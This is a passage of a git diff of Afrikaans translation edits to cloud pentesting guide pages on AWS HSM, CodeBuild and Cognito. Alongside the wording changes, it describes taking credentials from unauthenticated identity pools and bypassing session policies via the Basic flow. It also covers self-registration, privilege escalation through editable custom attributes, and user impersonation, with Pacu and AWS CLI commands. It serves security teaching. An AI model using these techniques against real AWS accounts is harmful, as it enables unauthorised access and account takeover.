uit, insluitend versleuteling, ontsleuteling, digitale handtekening en sleuteluitruiling. Hierdie bedrywighede word **binne die veilige omgewing van die HSM uitgevoer**, wat teen ongeoorloofde toegang en vervalsing beskerm. -5. **Auditskryf**: Die HSM registreer alle kriptografiese bedrywighede en toegangspogings, wat gebruik kan word vir nakoming en sekuriteitsouditdoeleindes. +5. **Auditing**: Die HSM log al die kriptografiese bedrywighede en toegangspogings, wat gebruik kan word vir nakoming en sekuriteitsouditdoeleindes. -HSM's kan vir 'n wye reeks toepassings gebruik word, insluitend veilige aanlyn transaksies, digitale sertifikate, veilige kommunikasie en dataversleuteling. Hulle word dikwels in bedrywe gebruik wat 'n hoë vlak van sekuriteit vereis, soos finansies, gesondheidsorg en regering. +HSM's kan vir 'n wye reeks toepassings gebruik word, insluitend veilige aanlyn transaksies, digitale sertifikate, veilige kommunikasie en dataversleuteling. Hulle word dikwels in industrieë gebruik wat 'n hoë vlak van sekuriteit vereis, soos finansies, gesondheidsorg en regering. Oor die algemeen maak die hoë vlak van sekuriteit wat deur HSM's verskaf word, dit **baie moeilik om rou sleutels daaruit te onttrek, en om dit te probeer, word dikwels beskou as 'n oortreding van sekuriteit**. Daar mag egter **sekere scenario's** wees waar 'n **rou sleutel deur gemagtigde personeel onttrek kan word** vir spesifieke doeleindes, soos in die geval van 'n sleutelherstelprosedure. -### Enumeration +### Enumerasie ``` TODO ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md index 9af1e31ba..57828a35e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md @@ -4,7 +4,7 @@ ## CodeBuild -AWS **CodeBuild** word erken as 'n **volledig bestuurde deurlopende integrasiediens**. Die primêre doel van hierdie diens is om die volgorde van die kompilering van bronkode, die uitvoering van toetse en die verpakking van die sagteware vir ontplooiing te outomatiseer. Die voornaamste voordeel wat deur CodeBuild aangebied word, lê in sy vermoë om die behoefte aan gebruikers om hul boubedieners te voorsien, te bestuur en te skaal, te verlig. Hierdie gerief is omdat die diens self hierdie take bestuur. Essensiële kenmerke van AWS CodeBuild sluit in: +AWS **CodeBuild** word erken as 'n **volledig bestuurde deurlopende integrasiediens**. Die primêre doel van hierdie diens is om die volgorde van die saamstel van bronkode, die uitvoer van toetse, en die verpakking van die sagteware vir ontplooiing te outomatiseer. Die hoofvoordeel wat deur CodeBuild aangebied word, lê in sy vermoë om die behoefte aan gebruikers om hul boubedieners te voorsien, te bestuur en te skaal, te verlig. Hierdie gerief is omdat die diens self hierdie take bestuur. Belangrike kenmerke van AWS CodeBuild sluit in: 1. **Bestuurde Diens**: CodeBuild bestuur en skaal die boubedieners, wat gebruikers vrymaak van bedieneronderhoud. 2. **Deurlopende Integrasie**: Dit integreer met die ontwikkeling en ontplooiing werkvloei, wat die bou- en toetsfases van die sagtewarevrystellingsproses outomatiseer. @@ -18,7 +18,7 @@ AWS CodeBuild integreer naatloos met ander AWS-dienste, wat die doeltreffendheid Dit is die nalatenskapopsie waar dit moontlik is om 'n paar **toegang** (soos 'n Github-token of -toepassing) te konfigureer wat **oor codebuild-projekte gedeel sal word**, sodat al die projekte hierdie geconfigureerde stel kredensiale kan gebruik. -Die gestoor kredensiale (tokens, wagwoorde...) word **deur codebuild bestuur** en daar is geen openbare manier om dit van AWS API's te onttrek nie. +Die gestoor kredensiale (tokens, wagwoorde...) word **deur codebuild bestuur** en daar is geen openbare manier om dit van AWS APIs te onttrek nie. #### Pasgemaakte bronkredensiaal @@ -26,7 +26,7 @@ Afhangende van die bergingsplatform (Github, Gitlab en Bitbucket) word verskille Dit stel **verskillende codebuild-projekte in staat om verskillende geconfigureerde toegang te gebruik** tot die verskaffers in plaas van net die geconfigureerde standaard een te gebruik. -### Enumeration +### Enumerasie ```bash # List external repo creds (such as github tokens) ## It doesn't return the token but just the ARN where it's located diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md index d6c1eff16..276467246 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md @@ -4,16 +4,16 @@ ## Cognito -Amazon Cognito word gebruik vir **authentisering, autorisering, en gebruikersbestuur** in web- en mobiele toepassings. Dit bied gebruikers die buigsaamheid om in te teken of direk met 'n **gebruikersnaam en wagwoord** of indirek deur 'n **derde party**, insluitend Facebook, Amazon, Google, of Apple. +Amazon Cognito word gebruik vir **authentisering, magtiging, en gebruikersbestuur** in web- en mobiele toepassings. Dit bied gebruikers die buigsaamheid om direk in te teken met 'n **gebruikersnaam en wagwoord** of indirek deur 'n **derde party**, insluitend Facebook, Amazon, Google, of Apple. Sentraal tot Amazon Cognito is twee primêre komponente: 1. **Gebruikerspoele**: Dit is gidse wat ontwerp is vir jou app-gebruikers, wat **aanmeld- en registrasiefunksies** bied. -2. **Identiteitspoele**: Hierdie poele is instrumenteel in **die autorisering van gebruikers om toegang tot verskillende AWS-dienste te verkry**. Hulle is nie direk betrokke by die aanmeld- of registrasieproses nie, maar is van kardinale belang vir hulpbron toegang na authentisering. +2. **Identiteitspoele**: Hierdie poele is noodsaaklik vir **magtiging van gebruikers om toegang tot verskillende AWS-dienste te verkry**. Hulle is nie direk betrokke by die aanmeld- of registrasieproses nie, maar is van kardinale belang vir hulpbron toegang na authentisering. ### **Gebruikerspoele** -Om te leer wat 'n **Cognito Gebruikerspoel kontroleer**: +Om te leer wat 'n **Cognito Gebruikerspoel** is: {{#ref}} cognito-user-pools.md @@ -21,7 +21,7 @@ cognito-user-pools.md ### **Identiteitspoele** -Om te leer wat 'n **Cognito Identiteitspoel kontroleer**: +Om te leer wat 'n **Cognito Identiteitspoel** is: {{#ref}} cognito-identity-pools.md @@ -71,13 +71,13 @@ aws cognito-idp get-user-pool-mfa-config --user-pool-id ## Get risk configuration aws cognito-idp describe-risk-configuration --user-pool-id ``` -### Identiteit Pools - Ongeauthentiseerde Enumerasie +### Identiteitspoele - Ongeauthentiseerde Enumerasie -Net **om die Identiteit Pool ID** te weet, mag jy in staat wees om **akkrediteer te verkry van die rol wat aan ongeauthentiseerde** gebruikers gekoppel is (indien enige). [**Kyk hoe hier**](cognito-identity-pools.md#accessing-iam-roles). +Net **om die Identiteitspoel-ID** te weet, mag jy in staat wees om **credentials van die rol geassosieer met ongeauthentiseerde** gebruikers te **kry** (indien enige). [**Kyk hoe hier**](cognito-identity-pools.md#accessing-iam-roles). -### Gebruiker Pools - Ongeauthentiseerde Enumerasie +### Gebruikerspoele - Ongeauthentiseerde Enumerasie -Selfs as jy **nie 'n geldige gebruikersnaam** binne Cognito weet nie, mag jy in staat wees om **te enumereer** geldige **gebruikersname**, **BF** die **wagwoorde** of selfs **'n nuwe gebruiker te registreer** net **om die App kliënt ID** te weet (wat gewoonlik in die bronkode gevind word). [**Kyk hoe hier**](cognito-user-pools.md#registration)**.** +Selfs as jy **nie 'n geldige gebruikersnaam** binne Cognito weet nie, mag jy in staat wees om **geldige** **gebruikersname** te **enumerate**, **BF** die **wagwoorde** of selfs **'n nuwe gebruiker te registreer** net **om die App kliënt-ID** te weet (wat gewoonlik in die bronkode gevind word). [**Kyk hoe hier**](cognito-user-pools.md#registration)**.** ## Privesc diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md index 8a07299fe..2fd0ecb2a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md @@ -1,13 +1,13 @@ -# Cognito Identity Pools +# Cognito Identiteitspoele {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Basiese Inligting -Identiteitspoele speel 'n belangrike rol deur jou gebruikers in staat te stel om **tydelike geloofsbriewe** te **verkry**. Hierdie geloofsbriewe is noodsaaklik vir toegang tot verskeie AWS-dienste, insluitend maar nie beperk tot Amazon S3 en DynamoDB nie. 'n Opmerkelijke kenmerk van identiteitspoele is hul ondersteuning vir beide anonieme gasgebruikers en 'n verskeidenheid identiteitsverskaffers vir gebruikersverifikasie. Die ondersteunde identiteitsverskaffers sluit in: +Identiteitspoele speel 'n belangrike rol deur jou gebruikers in staat te stel om **tydelike geloofsbriewe** te verkry. Hierdie geloofsbriewe is noodsaaklik vir die toegang tot verskeie AWS-dienste, insluitend maar nie beperk tot Amazon S3 en DynamoDB nie. 'n Opmerkelijke kenmerk van identiteitspoele is hul ondersteuning vir beide anonieme gasgebruikers en 'n verskeidenheid identiteitsverskaffers vir gebruikersverifikasie. Die ondersteunde identiteitsverskaffers sluit in: - Amazon Cognito gebruikerspoele -- Sosiale aanmeldopsies soos Facebook, Google, Aanmeld met Amazon, en Meld aan met Apple +- Sosiale aanmeldopsies soos Facebook, Google, Aanmeld met Amazon, en Teken in met Apple - Verskaffers wat voldoen aan OpenID Connect (OIDC) - SAML (Security Assertion Markup Language) identiteitsverskaffers - Ontwikkelaar geverifieerde identiteite @@ -43,7 +43,7 @@ Boonop is die diens **cognito-sync** die diens wat toelaat om **hierdie inligtin ### Tools for pentesting -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), die AWS eksploitering raamwerk, sluit nou die "cognito\_\_enum" en "cognito\_\_attack" modules in wat die enumerasie van alle Cognito bates in 'n rekening outomatiseer en swak konfigurasies, gebruikersattributen wat vir toegangbeheer gebruik word, ens., merk, en outomatiseer ook gebruikersskepping (insluitend MFA-ondersteuning) en privilige-eskalasie gebaseer op aanpasbare pasattributen, bruikbare identiteits pool akkrediteer, aanneembare rolle in id tokens, ens. +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), die AWS eksploitering raamwerk, sluit nou die "cognito\_\_enum" en "cognito\_\_attack" modules in wat die enumerasie van alle Cognito bates in 'n rekening outomatiseer en swak konfigurasies, gebruikersattributen wat vir toegangbeheer gebruik word, ens., merk, en outomatiseer ook gebruikersskepping (insluitend MFA-ondersteuning) en privilige-eskalasie gebaseer op aanpasbare aangepaste attributen, bruikbare identiteits pool akkrediteer, aanneembare rolle in id tokens, ens. Vir 'n beskrywing van die modules se funksies, sien deel 2 van die [blog pos](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Vir installasie instruksies, sien die hoof [Pacu](https://github.com/RhinoSecurityLabs/pacu) bladsy. @@ -55,11 +55,11 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -Voorbeeld cognito\_\_enum gebruik om al die gebruikerspoele, gebruikerspoel kliënte, identiteitspoele, gebruikers, ens. wat sigbaar is in die huidige AWS-rekening, te versamel: +Voorbeeld cognito\_\_enum gebruik om al die gebruikerspoele, gebruikerspoel kliënte, identiteitspoele, gebruikers, ens. wat sigbaar is in die huidige AWS-rekening te versamel: ```bash Pacu (new:test) > run cognito__enum ``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is 'n CLI-gereedskap in python wat verskillende aanvalle op Cognito implementeer, insluitend ongewenste rekening skep en identiteitspoel eskalasie. +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is 'n CLI-gereedskap in python wat verskillende aanvalle op Cognito implementeer, insluitend ongewenste rekeningcreasie en identiteitspoel-eskalasie. #### Installasie ```bash @@ -69,13 +69,13 @@ $ pip install cognito-scanner ```bash $ cognito-scanner --help ``` -For more information check https://github.com/padok-team/cognito-scanner +Vir meer inligting, kyk na https://github.com/padok-team/cognito-scanner ## Toegang tot IAM Rolle ### Ongeoutentiseerde -Die enigste ding wat 'n aanvaller moet weet om **AWS kredensiale** in 'n Cognito-toepassing as 'n ongeoutentiseerde gebruiker te **kry**, is die **Identiteit Pool ID**, en hierdie **ID moet hardgecodeer** wees in die web/mobiele **toepassing** sodat dit dit kan gebruik. 'n ID lyk soos volg: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (dit is nie bruteforceerbaar nie). +Die enigste ding wat 'n aanvaller moet weet om **AWS kredensiale** in 'n Cognito-toepassing as 'n ongeoutentiseerde gebruiker te **kry**, is die **Identiteit Pool ID**, en hierdie **ID moet hardgecodeer** wees in die web/mobiele **toepassing** sodat dit dit kan gebruik. 'n ID lyk soos hierdie: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (dit is nie bruteforceerbaar nie). > [!TIP] > Die **IAM Cognito ongeoutentiseerde rol wat via geskep is, word** standaard `Cognito_Unauth_Role` genoem. @@ -106,19 +106,19 @@ r = requests.post(url, json=params, headers=headers) print(r.json()) ``` -Of jy kan die volgende **aws cli commands** gebruik: +Of jy kan die volgende **aws cli-opdragte** gebruik: ```bash aws cognito-identity get-id --identity-pool-id --no-sign aws cognito-identity get-credentials-for-identity --identity-id --no-sign ``` > [!WARNING] -> Let daarop dat 'n nie-geverifieerde cognito **gebruiker GEEN toestemming kan hê nie, selfs al is dit via 'n beleid toegeken**. Kontroleer die volgende afdeling. +> Let daarop dat 'n nie-geverifieerde cognito **gebruiker GEEN toestemming kan hê nie, selfs al is dit via 'n beleid toegeken**. Kyk na die volgende afdeling. ### Verbeterde vs Basiese Verifikasievloei Die vorige afdeling het die **standaard verbeterde verifikasievloei** gevolg. Hierdie vloei stel 'n **beperkende** [**sessiebeleid**](../../aws-basic-information/#session-policies) in vir die IAM rol sessie wat gegenereer is. Hierdie beleid sal slegs toelaat dat die sessie [**die dienste van hierdie lys gebruik**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (selfs al het die rol toegang tot ander dienste). -Daar is egter 'n manier om dit te omseil; as die **Identiteitspoel "Basiese (Klassieke) Vloei" geaktiveer het**, sal die gebruiker in staat wees om 'n sessie te verkry met behulp van daardie vloei wat **nie daardie beperkende sessiebeleid sal hê nie**. +Daar is egter 'n manier om dit te omseil, as die **Identiteitspoel "Basiese (Klassieke) Vloei" geaktiveer het**, sal die gebruiker in staat wees om 'n sessie te verkry met behulp van daardie vloei wat **nie daardie beperkende sessiebeleid sal hê nie**. ```bash # Get auth ID aws cognito-identity get-id --identity-pool-id --no-sign @@ -135,21 +135,21 @@ aws sts assume-role-with-web-identity --role-arn "arn:aws:iam:::role/ `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.` -As jy 'n stel IAM-akkrediteerings het, moet jy [kontroleer watter toegang jy het](../../#whoami) en probeer om [privileges te verhoog](../../aws-privilege-escalation/). +As jy 'n stel IAM geloofsbriewe het, moet jy [kontroleer watter toegang jy het](../../#whoami) en probeer om [privileges te verhoog](../../aws-privilege-escalation/). ### Geverifieer > [!NOTE] -> Onthou dat **geverifieerde gebruikers** waarskynlik **verskillende toestemmings** toegeken sal word, so as jy kan **aanmeld binne die app**, probeer dit en kry die nuwe akkrediteerings. +> Onthou dat **geverifieerde gebruikers** waarskynlik **verskillende toestemmings** toegeken sal word, so as jy kan **aanmeld binne die app**, probeer dit en kry die nuwe geloofsbriewe. Daar kan ook **rolle** beskikbaar wees vir **geverifieerde gebruikers wat toegang tot die Identiteitspoel** het. -Hiervoor mag jy toegang tot die **identiteitsverskaffer** nodig hê. As dit 'n **Cognito-gebruikerspoel** is, kan jy dalk die standaardgedrag misbruik en **self 'n nuwe gebruiker skep**. +Hiervoor mag jy toegang tot die **identiteitsverskaffer** nodig hê. As dit 'n **Cognito Gebruikerspoel** is, kan jy dalk die standaardgedrag misbruik en **self 'n nuwe gebruiker skep**. > [!TIP] -> Die **IAM Cognito geverifieerde rol wat via geskep is, word standaard** `Cognito_Auth_Role` genoem. +> Die **IAM Cognito geverifieerde rol wat via geskep is** word standaard `Cognito_Auth_Role` genoem. -In elk geval, die **volgende voorbeeld** verwag dat jy reeds binne 'n **Cognito-gebruikerspoel** aangemeld het wat gebruik word om toegang tot die Identiteitspoel te verkry (moet nie vergeet dat ander tipes identiteitsverskaffers ook gekonfigureer kan word nie). +In elk geval, die **volgende voorbeeld** verwag dat jy reeds binne 'n **Cognito Gebruikerspoel** aangemeld het wat gebruik word om toegang tot die Identiteitspoel te verkry (moet nie vergeet dat ander tipes identiteitsverskaffers ook gekonfigureer kan word nie).
aws cognito-identity get-id \
 --identity-pool-id <identity_pool_id> \
@@ -162,7 +162,7 @@ aws cognito-identity get-credentials-for-identity \
 
 
 # In die IdToken kan jy rolle vind waartoe 'n gebruiker toegang het as gevolg van Gebruikerspoel Groepe
-# Gebruik die --custom-role-arn om akkrediteerings vir 'n spesifieke rol te kry
+# Gebruik die --custom-role-arn om geloofsbriewe vir 'n spesifieke rol te kry
 aws cognito-identity get-credentials-for-identity \
 --identity-id <identity_id> \
     --custom-role-arn <role_arn> \
@@ -170,6 +170,6 @@ aws cognito-identity get-credentials-for-identity \
 
> [!WARNING] -> Dit is moontlik om **verskillende IAM rolle te konfigureer afhangende van die identiteitsverskaffer** waar die gebruiker aangemeld is of selfs net afhangende **van die gebruiker** (met behulp van aansprake). Daarom, as jy toegang tot verskillende gebruikers het deur dieselfde of verskillende verskaffers, kan dit **die moeite werd wees om aan te meld en toegang te verkry tot die IAM rolle van al hulle**. +> Dit is moontlik om **verskillende IAM rolle te konfigureer afhangende van die identiteitsverskaffer** waarteen die gebruiker aangemeld is of selfs net afhangende **van die gebruiker** (met behulp van aansprake). Daarom, as jy toegang het tot verskillende gebruikers deur dieselfde of verskillende verskaffers, mag dit **die moeite werd wees om aan te meld en toegang te verkry tot die IAM rolle van al hulle**. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md index 7acffa54b..42a91e199 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md @@ -4,11 +4,11 @@ ## Basiese Inligting -'n Gebruikerspoel is 'n gebruikersgids in Amazon Cognito. Met 'n gebruikerspoel kan jou gebruikers **aanmeld by jou web- of mobiele toepassing** deur Amazon Cognito, **of federate** deur 'n **derdeparty** identiteitsverskaffer (IdP). Of jou gebruikers nou direk of deur 'n derdeparty aanmeld, alle lede van die gebruikerspoel het 'n gidsprofiel wat jy deur 'n SDK kan toegang. +'n Gebruikerspoel is 'n gebruikersgids in Amazon Cognito. Met 'n gebruikerspoel kan jou gebruikers **aanmeld by jou web- of mobiele toepassing** deur Amazon Cognito, **of federate** deur 'n **derdeparty** identiteitsverskaffer (IdP). Of jou gebruikers nou direk of deur 'n derdeparty aanmeld, het alle lede van die gebruikerspoel 'n gidsprofiel wat jy deur 'n SDK kan toegang. Gebruikerspoele bied: -- Registrasie- en aanmelddienste. +- Teken-in en teken-aan dienste. - 'n Ingeboude, aanpasbare web UI om gebruikers aan te meld. - Sosiale aanmelding met Facebook, Google, Login with Amazon, en Sign in with Apple, en deur SAML en OIDC identiteitsverskaffers van jou gebruikerspoel. - Gebruikersgidsbestuur en gebruikersprofiele. @@ -36,7 +36,7 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is 'n CLI-gereedskap in python wat verskillende aanvalle op Cognito implementeer, insluitend ongewenste rekening skep en rekening oracle. Kyk na [hierdie skakel](https://github.com/padok-team/cognito-scanner) vir meer inligting. +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is 'n CLI-gereedskap in python wat verskillende aanvalle op Cognito implementeer, insluitend ongewenste rekening skep en rekening oracle. Kyk na [this link](https://github.com/padok-team/cognito-scanner) vir meer inligting. ```bash # Install pip install cognito-scanner @@ -61,7 +61,7 @@ Jy mag 'n fout vind wat aandui dat jy **meer besonderhede** oor die gebruiker mo ``` An error occurred (InvalidParameterException) when calling the SignUp operation: Attributes did not conform to the schema: address: The attribute is required ``` -U kan die nodige besonderhede met 'n JSON soos: +U kan die nodige besonderhede verskaf met 'n JSON soos: ```json --user-attributes '[{"Name": "email", "Value": "carlospolop@gmail.com"}, {"Name":"gender", "Value": "M"}, {"Name": "address", "Value": "street"}, {"Name": "custom:custom_name", "Value":"supername&\"*$"}]' ``` @@ -71,7 +71,7 @@ An error occurred (UsernameExistsException) when calling the SignUp operation: U ``` > [!NOTE] > Let op in die vorige opdrag hoe die **aangepaste eienskappe begin met "custom:"**.\ -> Weet ook dat wanneer jy registreer jy **nie nuwe aangepaste eienskappe vir die gebruiker kan skep nie**. Jy kan net waarde gee aan **standaard eienskappe** (selfs al is hulle nie vereis nie) en **aangepaste eienskappe wat gespesifiseer is**. +> Weet ook dat wanneer jy registreer jy **nie nuwe aangepaste eienskappe vir die gebruiker kan skep nie**. Jy kan slegs waarde gee aan **standaard eienskappe** (selfs al is hulle nie vereis nie) en **aangepaste eienskappe wat gespesifiseer is**. Of net om te toets of 'n kliënt-id bestaan. Dit is die fout as die kliënt-id nie bestaan nie: ``` @@ -92,11 +92,11 @@ aws cognito-idp confirm-sign-up --client-id \ --no-sign-request --region us-east-1 ``` > [!WARNING] -> Selfs al **lyk dit of jy dieselfde e-pos** en telefoonnommer kan gebruik, wanneer jy die geskepte gebruiker moet verifieer, sal Cognito kla oor die gebruik van dieselfde inligting en **sal nie toelaat dat jy die rekening verifieer** nie. +> Selfs al **lyk dit of jy dieselfde e-pos** en telefoonnommer kan gebruik, wanneer jy die geskepte gebruiker moet verifieer, sal Cognito kla oor die gebruik van dieselfde inligting en **sal nie toelaat dat jy die rekening verifieer nie**. ### Privilege Escalation / Updating Attributes -Standaard kan 'n gebruiker **die waarde van sy eienskappe verander** met iets soos: +Deur die standaard kan 'n gebruiker **die waarde van sy eienskappe verander** met iets soos: ```bash aws cognito-idp update-user-attributes \ --region us-east-1 --no-sign-request \ @@ -106,19 +106,19 @@ aws cognito-idp update-user-attributes \ #### Aangepaste attribuut privesc > [!CAUTION] -> Jy mag **aangepaste attribuute** vind wat gebruik word (soos `isAdmin`), aangesien jy standaard **die waardes van jou eie attribuute kan verander** kan jy dalk **privileges eskaleer** deur die waarde self te verander! +> Jy mag **aangepaste attribuite** vind wat gebruik word (soos `isAdmin`), aangesien jy standaard **die waardes van jou eie attribuite kan verander** kan jy dalk **privileges eskaleer** deur die waarde self te verander! -#### E-pos/gebruikersnaam wysiging privesc +#### E-pos/gebruikersnaam wysigings privesc -Jy kan dit gebruik om **die e-pos en telefoonnommer** van 'n gebruiker te **wysig**, maar dan, selfs al bly die rekening as geverifieer, is daardie attribuute **in 'n ongeverifieerde status** (jy moet hulle weer verifieer). +Jy kan dit gebruik om die **e-pos en telefoonnommer** van 'n gebruiker te **wysig**, maar dan, selfs al bly die rekening as geverifieer, is daardie attribuite **in 'n ongeverifieerde status gestel** (jy moet hulle weer verifieer). > [!WARNING] > Jy **sal nie in staat wees om in te log met e-pos of telefoonnommer** totdat jy hulle verifieer nie, maar jy sal **in staat wees om in te log met die gebruikersnaam**.\ -> Let daarop dat selfs al is die e-pos gewysig en nie geverifieer nie, dit sal verskyn in die ID Token binne die **`email`** **veld** en die veld **`email_verified`** sal **vals** wees, maar as die app **nie nagaan nie, kan jy ander gebruikers naboots**. +> Let daarop dat selfs al is die e-pos gewysig en nie geverifieer nie, dit sal verskyn in die ID Token binne die **`email`** **veld** en die veld **`email_verified`** sal **vals** wees, maar as die app **nie kyk nie, kan jy ander gebruikers naboots**. -> Boonop, let daarop dat jy enigiets in die **`name`** veld kan plaas deur net die **naam attribuut** te wysig. As 'n app **nagaan** **daardie** veld om een of ander rede **in plaas van die `email`** (of enige ander attribuut) kan jy dalk **ander gebruikers naboots**. +> Boonop, let daarop dat jy enigiets in die **`name`** veld kan plaas deur net die **naam attribuut** te wysig. As 'n app **kyk** na daardie veld om een of ander rede **in plaas van die `email`** (of enige ander attribuut) kan jy dalk **ander gebruikers naboots**. -In elk geval, as jy om een of ander rede jou e-pos verander het, byvoorbeeld na 'n nuwe een wat jy kan toegang, kan jy **die e-pos bevestig met die kode wat jy in daardie e-posadres ontvang het**: +In elk geval, as jy om een of ander rede jou e-pos verander het na 'n nuwe een wat jy kan toegang, kan jy die e-pos **bevestig met die kode wat jy in daardie e-posadres ontvang het**: ```bash aws cognito-idp verify-user-attribute \ --access-token \ @@ -128,7 +128,7 @@ aws cognito-idp verify-user-attribute \ Gebruik **`phone_number`** in plaas van **`email`** om 'n **nuwe telefoonnommer** te verander/te verifieer. > [!NOTE] -> Die admin kan ook die opsie aktiver om **in te log met 'n gebruiker se verkose gebruikersnaam**. Let daarop dat jy nie hierdie waarde kan verander na **enige gebruikersnaam of verkose_gebruikersnaam wat reeds gebruik word** om 'n ander gebruiker na te doen nie. +> Die admin kan ook die opsie aktief maak om **in te log met 'n gebruiker se verkose gebruikersnaam**. Let daarop dat jy nie hierdie waarde kan verander na **enige gebruikersnaam of verkose_gebruikersnaam wat reeds gebruik word** om 'n ander gebruiker na te boots nie. ### Herstel/Verander Wagwoord @@ -156,24 +156,24 @@ aws cognito-idp change-password \ --proposed-password \ --access-token ``` -## Authentisering +## Verifikasie -'n Gebruikerspoel ondersteun **verskillende maniere om te autentiseer**. As jy 'n **gebruikersnaam en wagwoord** het, is daar ook **verskillende metodes** wat ondersteun word om aan te meld.\ +'n Gebruikerspoel ondersteun **verskillende maniere om te verifieer**. As jy 'n **gebruikersnaam en wagwoord** het, is daar ook **verskillende metodes** wat ondersteun word om aan te meld.\ Boonop, wanneer 'n gebruiker in die Poel **3 tipes tokens gegee word**: Die **ID Token**, die **Toegangstoken** en die **Herlaa token**. -- [**ID Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): Dit bevat aansprake oor die **identiteit van die geverifieerde gebruiker**, soos `name`, `email`, en `phone_number`. Die ID token kan ook gebruik word om **gebruikers te autentiseer op jou hulpbronne bedieners of bediener toepassings**. Jy moet die **handtekening** van die ID token **verifieer** voordat jy enige aansprake binne die ID token kan vertrou as jy dit in eksterne toepassings gebruik. +- [**ID Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): Dit bevat aansprake oor die **identiteit van die geverifieerde gebruiker**, soos `naam`, `e-pos`, en `telefoon_nommer`. Die ID-token kan ook gebruik word om **gebruikers te verifieer op jou hulpbronne of bedienertoepassings**. Jy moet die **handtekening** van die ID-token **verifieer** voordat jy enige aansprake binne die ID-token kan vertrou as jy dit in eksterne toepassings gebruik. - Die ID Token is die token wat **die attribuutwaardes van die gebruiker bevat**, selfs die pasgemaakte. -- [**Toegangstoken**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): Dit bevat aansprake oor die geverifieerde gebruiker, 'n lys van die **gebruiker se groepe, en 'n lys van skope**. Die doel van die toegangstoken is om **API operasies te autoriseer** in die konteks van die gebruiker in die gebruikerspoel. Byvoorbeeld, jy kan die toegangstoken gebruik om **jou gebruiker toegang te gee** om gebruikersattribuut te voeg, te verander of te verwyder. -- [**Herlaa token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): Met herlaa tokens kan jy **nuwe ID Tokens en Toegangstokens kry** vir die gebruiker totdat die **herlaa token ongeldig is**. Deur **standaard** verval die herlaa token **30 dae nadat** jou toepassingsgebruiker in jou gebruikerspoel aanmeld. Wanneer jy 'n toepassing vir jou gebruikerspoel skep, kan jy die herlaa token vervaldatum van die toepassing stel op **enige waarde tussen 60 minute en 10 jaar**. +- [**Toegangstoken**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): Dit bevat aansprake oor die geverifieerde gebruiker, 'n lys van die **gebruiker se groepe, en 'n lys van skope**. Die doel van die toegangstoken is om **API-operasies te autoriseer** in die konteks van die gebruiker in die gebruikerspoel. Byvoorbeeld, jy kan die toegangstoken gebruik om **jou gebruiker toegang te gee** om gebruikersattribuut te voeg, te verander of te verwyder. +- [**Herlaa token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): Met herlaa tokens kan jy **nuwe ID Tokens en Toegangstokens** vir die gebruiker kry totdat die **herlaa token ongeldig is**. Deur **standaard** verval die herlaa token **30 dae nadat** jou toepassingsgebruiker in jou gebruikerspoel aanmeld. Wanneer jy 'n toepassing vir jou gebruikerspoel skep, kan jy die vervaldatum van die toepassingsherlaa token op **enige waarde tussen 60 minute en 10 jaar** stel. ### ADMIN_NO_SRP_AUTH & ADMIN_USER_PASSWORD_AUTH -Dit is die bediener kant autentisering vloei: +Dit is die bediener-kant verifikasie vloei: -- Die bediener-kant toepassing roep die **`AdminInitiateAuth` API operasie** aan (in plaas van `InitiateAuth`). Hierdie operasie vereis AWS geloofsbriewe met toestemmings wat **`cognito-idp:AdminInitiateAuth`** en **`cognito-idp:AdminRespondToAuthChallenge`** insluit. Die operasie gee die vereiste autentisering parameters terug. -- Nadat die bediener-kant toepassing die **autentisering parameters** het, roep dit die **`AdminRespondToAuthChallenge` API operasie** aan. Die 